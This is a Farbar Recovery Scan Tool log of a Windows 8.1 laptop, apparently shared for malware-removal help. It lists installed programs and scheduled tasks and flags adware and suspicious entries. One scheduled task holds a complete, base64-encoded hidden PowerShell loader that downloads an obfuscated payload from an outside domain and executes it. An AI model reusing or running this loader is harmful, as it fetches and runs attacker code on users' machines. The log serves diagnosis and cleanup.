Additional scan result of Farbar Recovery Scan Tool (x64) Version:31-12-2015 Ran by [removed] (2015-12-31 13:06:31) Running from C:\Users\[removed]\Desktop Windows 8.1 (X64) (2014-11-11 21:43:17) Boot Mode: Normal ========================================================== ==================== Accounts: ============================= Administrator (S-1-5-21-2357267511-2638639882-2966789438-500 - Administrator - Disabled) Guest (S-1-5-21-2357267511-2638639882-2966789438-501 - Limited - Disabled) Steven (S-1-5-21-2357267511-2638639882-2966789438-1001 - Administrator - Enabled) => C:\Users\Steven ==================== Security Center ======================== (If an entry is included in the fixlist, it will be removed.) AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installed Programs ====================== (Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.) Adobe Reader X MUI (HKLM-x32\...\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}) (Version: 10.0.0 - Adobe Systems Incorporated) Alcor Micro USB Card Reader (HKLM-x32\...\AmUStor) (Version: 3.6.142.61624 - Alcor Micro Corp.) Alcor Micro USB Card Reader (x32 Version: 3.6.142.61624 - Alcor Micro Corp.) Hidden Apple Application Support (HKLM-x32\...\{45C56AA7-ED1B-4800-A97F-EDDF3F3520B1}) (Version: 2.3.3 - Apple Inc.) Apple Mobile Device Support (HKLM\...\{2F72F540-1F60-4266-9506-952B21D6640D}) (Version: 6.1.0.13 - Apple Inc.) Apple Software Update (HKLM-x32\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.) ASUS InstantOn (HKLM-x32\...\{749F674B-2674-47E8-879C-5626A06B2A91}) (Version: 3.0.2 - ASUS) ASUS LifeFrame3 (HKLM-x32\...\{1DBD1F12-ED93-49C0-A7CC-56CBDE488158}) (Version: 3.1.4 - ASUS) ASUS Live Update (HKLM-x32\...\{FA540E67-095C-4A1B-97BA-4D547DEC9AF4}) (Version: 3.1.8 - ASUS) ASUS Power4Gear Hybrid (HKLM\...\{9B6239BF-4E85-4590-8D72-51E30DB1A9AA}) (Version: 2.0.3 - ASUS) ASUS Smart Gesture (HKLM-x32\...\{4D3286A6-F6AB-498A-82A4-E4F040529F3D}) (Version: 2.1.3 - ASUS) ASUS Splendid Video Enhancement Technology (HKLM-x32\...\{0969AF05-4FF6-4C00-9406-43599238DE0D}) (Version: 1.03.0002 - ASUS) ASUS Tutor (HKLM-x32\...\{58172D66-2F69-4215-9AEC-ED8196023736}) (Version: 1.0.7 - ASUS) ASUS USB Charger Plus (HKLM-x32\...\{A859E3E5-C62F-4BFA-AF1D-2B95E03166AF}) (Version: 2.1.4 - ASUS) ASUS WebStorage Sync Agent (HKLM-x32\...\ASUS WebStorage) (Version: 1.1.9.120 - ASUS Cloud Corporation) ASUSDVD (HKLM-x32\...\InstallShield_{DEC235ED-58A4-4517-A278-C41E8DAEAB3B}) (Version: 10.0.4126.52 - CyberLink Corp.) ASUSDVD (x32 Version: 10.0.4126.52 - CyberLink Corp.) Hidden AsusVibe2.0 (HKLM-x32\...\Asus Vibe2.0) (Version: 2.0.10.168 - ASUSTEK) Atheros Communications Inc.(R) AR81Family Gigabit/Fast Ethernet Driver (HKLM-x32\...\{3108C217-BE83-42E4-AE9E-A56A2A92E549}) (Version: 2.1.0.7 - Atheros Communications Inc.) ATK Package (HKLM-x32\...\{AB5C933E-5C7D-4D30-B314-9C83A49B94BE}) (Version: 1.0.0022 - ASUS) Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.) Cisco EAP-FAST Module (HKLM-x32\...\{64BF0187-F3D2-498B-99EA-163AF9AE6EC9}) (Version: 2.2.14 - Cisco Systems, Inc.) Cisco LEAP Module (HKLM-x32\...\{51C7AD07-C3F6-4635-8E8A-231306D810FE}) (Version: 1.0.19 - Cisco Systems, Inc.) Cisco PEAP Module (HKLM-x32\...\{ED5776D5-59B4-46B7-AF81-5F2D94D7C640}) (Version: 1.1.6 - Cisco Systems, Inc.) Dropbox (HKU\S-1-5-21-2357267511-2638639882-2966789438-1001\...\Dropbox) (Version: 3.12.5 - Dropbox, Inc.) Google Chrome (HKLM-x32\...\Google Chrome) (Version: 47.0.2526.106 - Google Inc.) Google Update Helper (x32 Version: 1.3.25.11 - Google Inc.) Hidden Google Update Helper (x32 Version: 1.3.29.1 - Google Inc.) Hidden HP Deskjet 5520 series Basic Device Software (HKLM\...\{014A59C8-DDA5-4788-906D-1F5CBA8A583D}) (Version: 28.0.1315.0 - Hewlett-Packard Co.) Intel(R) Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 8.1.0.1252 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 9.17.10.4229 - Intel Corporation) Intel(R) SDK for OpenCL - CPU Only Runtime Package (HKLM-x32\...\{FCB3772C-B7D0-4933-B1A9-3707EBACC573}) (Version: 2.0.0.37149 - Intel Corporation) iTunes (HKLM\...\{0225AD21-F3E2-4916-BFF3-65D3F9052582}) (Version: 11.0.2.26 - Apple Inc.) Microsoft Office 365 - en-us (HKLM\...\O365HomePremRetail - en-us) (Version: 15.0.4779.1002 - Microsoft Corporation) Microsoft Office Professional Plus 2010 (HKLM\...\Office14.PROPLUS) (Version: 14.0.7015.1000 - Microsoft Corporation) Microsoft SkyDrive (HKU\S-1-5-21-2357267511-2638639882-2966789438-1001\...\SkyDriveSetup.exe) (Version: 17.0.2015.0811 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation) Office 15 Click-to-Run Extensibility Component (x32 Version: 15.0.4779.1002 - Microsoft Corporation) Hidden Office 15 Click-to-Run Licensing Component (Version: 15.0.4779.1002 - Microsoft Corporation) Hidden Office 15 Click-to-Run Localization Component (x32 Version: 15.0.4779.1002 - Microsoft Corporation) Hidden Philips Media Manager 3.3.12.0004 (HKLM-x32\...\Philips Media Manager 3.3.12.0004) (Version: - Royal Philips Electronics Inc) Platform (x32 Version: 1.39 - VIA Technologies, Inc.) Hidden PortFinale (HKLM-x32\...\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{4dd8d474}) (Version: - PortFinale) <==== ATTENTION Ralink RT2860 Wireless LAN Card (HKLM-x32\...\{8FC4F1DD-F7FD-4766-804D-3C8FF1D309B0}) (Version: 1.2.0.40 - Ralink) SectionKeeper (HKLM-x32\...\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{1998d97c}) (Version: - Software Publisher) <==== ATTENTION SegmentProvider (HKLM-x32\...\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{61005122}) (Version: - SegmentProvider) <==== ATTENTION Service Pack 2 for Microsoft Office 2010 (KB2687455) 64-Bit Edition (HKLM\...\{90140000-0011-0000-1000-0000000FF1CE}_Office14.PROPLUS_{A3364707-2F53-4C83-8F68-C9877A9080C7}) (Version: - Microsoft) Service Pack 2 for Microsoft Office 2010 (KB2687455) 64-Bit Edition (Version: - Microsoft) Hidden Shared C Run-time for x64 (HKLM\...\{EF79C448-6946-4D71-8134-03407888C054}) (Version: 10.0.0 - McAfee) Skype Click to Call (HKLM-x32\...\{6D1221A9-17BF-4EC0-81F2-27D30EC30701}) (Version: 7.5.0.9082 - Microsoft Corporation) Skype™ 7.15 (HKLM-x32\...\{6A0549A9-1B96-498C-ACBC-3943001FEB19}) (Version: 7.15.103 - Skype Technologies S.A.) SystemBoost (HKLM-x32\...\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{1991b13a}) (Version: - Software Publisher) <==== ATTENTION SystemHero (HKLM-x32\...\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{7baa6e25}) (Version: - Software Publisher) <==== ATTENTION VIA Platform Device Manager (HKLM-x32\...\InstallShield_{20D4A895-748C-4D88-871C-FDB1695B0169}) (Version: 1.39 - VIA Technologies, Inc.) VLC media player 2.0.5 (HKLM-x32\...\VLC media player) (Version: 2.0.5 - VideoLAN) Windows Driver Package - ASUS (ATP) Mouse (01/10/2013 1.0.0.170) (HKLM\...\4A9DE1E9EBC800B7F01739D4DE7363EF6751BDF5) (Version: 01/10/2013 1.0.0.170 - ASUS) ==================== Custom CLSID (Whitelisted): ========================== (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314ED9-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDA-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDB-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDD-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDE-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EDF-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FB314EE0-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) CustomCLSID: HKU\S-1-5-21-2357267511-2638639882-2966789438-1001_Classes\CLSID\{FBC9D74C-AF55-4309-9FB2-C426E071637F}\InprocServer32 -> C:\Users\Steven\AppData\Roaming\Dropbox\bin\DropboxExt64.28.dll (Dropbox, Inc.) ==================== Scheduled Tasks (Whitelisted) ============= (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.) Task: {012FBE8F-2118-4279-93AB-87F0D9AA6137} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-10-29] (Google Inc.) Task: {036AC7E9-23A6-41A7-85DA-5BD7C4B95E77} - System32\Tasks\Torntv V6.0-firefoxinstaller => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-firefoxinstaller.exe <==== ATTENTION Task: {177B4343-8611-4FB2-8CDF-76209982C5CF} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2015-10-13] (Microsoft Corporation) Task: {1EB59665-D07F-410D-8149-930DB709168C} - System32\Tasks\Torntv V6.0-codedownloader => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-codedownloader.exe <==== ATTENTION Task: {257E230E-40A4-4561-B721-1ED8C4A9EBDE} - System32\Tasks\FCBfan => C:\Users\Steven\AppData\Roaming\FCBfan\fcbfan.exe [2015-02-20] (FCB Update) <==== ATTENTION Task: {2691DA6D-5AA7-4075-A2AD-B15BBD87F41E} - System32\Tasks\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime => C:\Windows\system32\GWX\GWXUXWorker.exe [2015-12-05] (Microsoft Corporation) Task: {2E988529-8B7A-49EC-B325-3DBB534F6999} - System32\Tasks\ASUS Touchpad Launcher (x64) => C:\Program Files (x86)\ASUS\ASUS Smart Gesture\AsTPCenter\x64\AsusTPLauncher.exe [2013-04-16] (AsusTek) Task: {3A50AD4A-F92E-46C0-B7D6-DD057EDD5B0F} - System32\Tasks\Torntv V6.0-enabler => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-enabler.exe <==== ATTENTION Task: {3CC41C89-FA54-47F0-A851-11CDB5A0BE5A} - System32\Tasks\Superclean => c:\programdata\{ae31b6ce-000e-3fe2-ae31-1b6ce000db38}\hqghumeaylnlf.exe [2014-08-22] (Super PC Tools Ltd) <==== ATTENTION Task: {4D5B9EA2-29DE-45A9-B4F1-CC544FC707BD} - System32\Tasks\DropboxUpdateTaskUserS-1-5-21-2357267511-2638639882-2966789438-1001UA => C:\Users\Steven\AppData\Local\Dropbox\Update\DropboxUpdate.exe [2015-06-25] (Dropbox, Inc.) Task: {4F3B2C10-CC57-422B-82ED-2011DD92BF58} - System32\Tasks\EPUpdater => C:\Users\Steven\AppData\Roaming\BabSolution\Shared\BabMaint.exe [2013-06-06] () <==== ATTENTION Task: {523942F6-9D3D-475B-9313-65DE5E97B54E} - System32\Tasks\Super Optimizer Schedule => C:\Program Files (x86)\Super Optimizer\SupOptLauncher.exe <==== ATTENTION Task: {591A5B45-AC62-4369-8A8B-309696415086} - System32\Tasks\{9C8FD422-4A6C-C1D4-6B36-73108A3F0B1E} => powershell.exe -windowstyle hidden -noninteractive -ExecutionPolicy bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAHUAawBqAG8AYgBtAHkALgBjAG8AbQAvAHUALwA/AHEAPQBiAHYAbgBiADQATgBBAFEANgBmADQAdQBxAFAAbABnAGgAcwA1AHcAWgBRADYAZAA0AFgANQBfADMALQBBAFEAeABvADUAeQBDAFIAVQAwAEIASgBRAFQANwBpAGcAegBRADcAWgBLAGwAMABhAFIAQQBQAEcASQBTAHIAUgBSAFIAbwA1AHQAXwA3ADQAUQB2ADEAUgBBAEIATQBKAFoAWABmAEgAdQAyAFgARQBTAGYANABrAEoAUQBiAGoAMABEAFoAZwB4AEEAUQBsAFYAdQBnAGEAbwBIAFkAVwBsAHYAYwBjAFkAZwBUAE8AYgBkAGkAawBaAFUAdABaAFQARgBlAFcAUwA3AEQAOABTAHcAaQB2AEMAOQBrAFcARAA0AHkAcgBUAHkAYgBJAHMAUAB1AFcAUABMADIANABQAGYAbwBfAEsAdQBTAGEAUwBOAGkATgBRAHgAUQBjAGEAeABXAFIAYgB2ADAATABYAHgARgBLAEwATQBRAE4AUQBVAHUAWgBCAGkAaABmADcAQwBYAHUAUQAzAEkAQwBHAGMAagBZAFIAeABmADkAbgAwADQANQBpAEwAQgA5ADQARgB2AGIAcABfADYAMgBnAFcAZABMAEQAZABEAFAASABCAEUAbQBwAEwAeABXAEIAWQAwAG4AWQB2AFAAOQBhAFMASwBwADMAVgAwAG8ASwB3AHoAXwBkAFEAQgBNAHgAZgBMAHoAOABQADYAVgBIAEcAaQBrAE0ASwA0AGYANABTAEYAWABsAEYALQBHAE0AWgBuAC0ANwBVAGoAVAB5AHkAaABqADAANAAzAFAANgBOAHcAdABGAFAATwAwAEoANAAxAEoAWABKAEkAQgBnAG4AcABGADYAZwBiAGwAMwBKAGkAMwBZAHQATgBLAEIAWgAwAEUATwB4AEgAdgBPAEkANgByAFMALQBYAGQAXwBUAHEAegBtADEAbAB1AHcAcwA0AHIAQwBYAEgAOABwADcASABHADUAbgA2AFcARABDAHIAVwBFAHQAVgA3ADkAQgBxAHIALQAyAGgAaQAwADEATQBTAHUAeAAyAHAARQBlAE8AagBLAFoAeAAzAHMAZQBCAFgATwBGAEgAdAByAEEARwBkAFUAQgBSADIANABOADQAdAB3AHEAUAAtAEYATQBsAGkAXwBsAHQAdgBaAGEAdwAzAHEATwB4AEYANwBoAFQAVQBBAGoAcgBiAHYAYgBIAGsAagAmAGMAPQAtAGQAMABtAHQATgBOADIAVgBFAE8ARQBoAEYAcwBuADMAZgAwAFMAbAAwADgAVQBYAHAAbQBVAG4AcwBRADcAUQBHAEEAdwBxAEMAVwBtAHMATwBmAEgAZQBKAEYAbwBFADUAbgBoAGwAMgBJAHoARwB2ADkAbgBIAGgASgBjAHQAWgBGAGMAcQBaAEsAbgBXAEoAbgBRAFAATQBtAG8ATABlADkAQwBFAHUAbgBCAG0AcgBIAGwAVQA3AFkAMgBBAHMATwBtAFMAVABJAHkAYQBtAG0AYwBKAGwAbwB2ADgATABMAHcATgBpAEQAawAwAEEAaABXAGMAMgBEAHkAaAB4AHcAaQBVAC0ATQB3AE0ATwBsADIATwBzAHkANgBRAHUAVgBaAHoAMwBuADgAQQBkAHgAcAAxAC0AdAAtAG0AMgBNAEUAMwBJAFUAbwB0AHcAOABUADQAagA0AGcAaAA4ADAAUQBiAHMAdQBhAFcAQgBEAC0AMgBjAFEAZQBrAHgAeQBLAFYALQBRAGcAUgBmAEgAZwB6ADIAUABOAEwAYgBkAGQAVABXAGcAeQBQAF8ARgAyAEUALQBqADAATQBKAFcAZwBfAEwAMABrADkAUQBGAHEAdABqAGwAWABXAEUAbQBvAHQASAB6AHgAaQBwAHAAWAB4AEoAbwB0AGcAZQA1AE4ATQAxAFEAeAA5AFcAVQBqAGwAUAAtAEEAVQBHADkANgB2AFIAUAA2AGwARQAtAEUANQB0AEQAcwB2AHgAaQBoADMAVwB0AFoAUQBUAEkAYgBmAC0ANABlAG8AQgB0AEoAUQB1AGUALQAzAHoANwBCAFYATwBGAEMAYgAxAGkAaAA5AE8AVgBrAE0ASwA4ADEALQBjAHkASABwAE4AeAA1AHcAaQBCAFgAVQBZAFcAVABnAGkAMgB4AGUARABjAFEAbgBGAEwARwBpAEoAcQBpADYAegBlAGMAQwAtAEUAdwBYADMAUQBrAEYAUABxAHQAVABqAFkAeQBBAG0AVABiAFUAYwA5AHcAcwBIAHcAUABsAEsARQBHAHYAWQBoAEkANQBMAHkAZQBzAE0AMgAwAFgASgA4AF8AaQBJAEYAUgBpAG8ASQBkAFIAdQBLAGUAbAA0ADEAbgAyADEAcgBzAGkAXwBTAEgATQB5AGMANgBBAFUAdABxAEkAcQAtAG8AbAA0ADgATwBEADkARABfAGEAeQAyAFAAcwBuAE0ATwA5AEMARgBsADUAagB1AEwAQQBLAGwATAB4AFQAdABsAGcATABpAEwAUwB2AFkAegA2AEMAbwBPADkAZwBTADYAYQBzADQAcABNAGQAWAA3AFAAdQBlAEQAVgBTAFAAVQBfAGIAWQAtAEgAMAAwAEYAYQBUAGwAYwB4AHoAaQBsAHUAcQBNAHYAVABLAGYAMwBPAEIAWABmADEAeABLAGoAdQB5AGoAQwBtAGgAegB0AEQASABHAFAAOQBKAHgAMQBrADMAVgAxAHAAawB5ADcAWABFAGMAUAB6AFUAVQB6AEwAWAAzAGoAYwBGAGIAeQA3AEMANQBxAEMATgBtAG8AQgBIAFoAWgBGAFIAQgB2AE4ASQA0ADQANQBSAG8AbABwAE0AZwB6AFYAZQAwAG0AawBJAFYAdABfAFUATABEAFYAaABIAGEATgAtAEgANwAtAFMAawBQAFAAVQBWAFcAdQBTAG4AbgBoAHMARQA5AGYAWAAtAG8ARgBOAFEAMwBNAEoARABoAFIAWABTADUAaABZADkAbgBVADkARAA3ACYAcgA9ADIAMgAxADIANQAwADcANQA3ADgANwA5ADIANAA5ADYAMAAyADYAIgA7ACQAcwB0AHMAawA9ACIAewA5AEMAOABGAEQANAAyADIALQA0AEEANgBDAC0AQwAxAEQANAAtADYAQgAzADYALQA3ADMAMQAwADgAQQAzAEYAMABCADEARQB9ACIAOwAkAHAAcgBpAGQAPQAiAEQAVAAiADsAJABpAG4AaQBkAD0AIgAwACIAOwB0AHIAeQB7AGkAZgAoACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4ALgBNAGEAagBvAHIAIAAtAGwAdAAgADIAKQB7AGIAcgBlAGEAawA7AH0AJAB2AD0AWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBPAFMAVgBlAHIAcwBpAG8AbgAuAFYAZQByAHMAaQBvAG4AOwAKAGkAZgAoACQAdgAuAE0AYQBqAG8AcgAgAC0AZQBxACAANQApAHsAaQBmACgAKAAkAHYALgBNAGkAbgBvAHIAIAAtAGwAdAAgADIAKQAgAC0AQQBOAEQAIAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBTAGUAcgB2AGkAYwBlAFAAYQBjAGsATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAtAGwAdAAgADIAKQApAHsAYgByAGUAYQBrADsAfQB9AAoAaQBmACgALQBOAE8AVAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQBbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAIgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACIAKQApAHsAYgByAGUAYQBrADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHcAYwAoACQAdQByAGwAKQB7ACQAcgBxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBxAC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQAkAHQAcgB1AGUAOwAkAHIAcQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAdQBzAGUAcgAtAGEAZwBlAG4AdAAiACwAIgBNAG8AegBpAGwAbABhAC8ANAAuADAAIAAoAGMAbwBtAHAAYQB0AGkAYgBsAGUAOwAgAE0AUwBJAEUAIAA3AC4AMAA7ACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAKQAiACkAOwByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAHEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQApADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAcwB0AHIAKAAkAHIAYQB3AGQAYQB0AGEAKQB7ACQAYgB0AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AGQAYQB0AGEAKQA7ACQAZQB4AHQAPQAkAGIAdABbADAAXQA7ACQAawBlAHkAPQAkAGIAdABbADEAXQAgAC0AYgB4AG8AcgAgADEANwAwADsAZgBvAHIAKAAkAGkAPQAyADsAJABpACAALQBsAHQAIAAkAGIAdAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAHQAWwAkAGkAXQA9ACgAJABiAHQAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAKAAkAGsAZQB5ACAAKwAgACQAaQApACAALQBiAGEAbgBkACAAMgA1ADUAKQApADsAfQAKAHIAZQB0AHUAcgBuACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACQAYgB0ACwAMgAsACgAJABiAHQALgBMAGUAbgBnAHQAaAAtACQAZQB4AHQAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwB9AAoAJABzAGMAPQBkAHMAdAByACgAdwBjACgAJABzAHUAcgBsACkAKQA7AEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAJABzAGMAIgA7AH0AYwBhAHQAYwBoAHsAfQA7AGUAeABpAHQAIAAwADsA Task: {5BC0DEED-B183-484F-B7D2-02EFC09186BC} - System32\Tasks\ASUS Live Update => 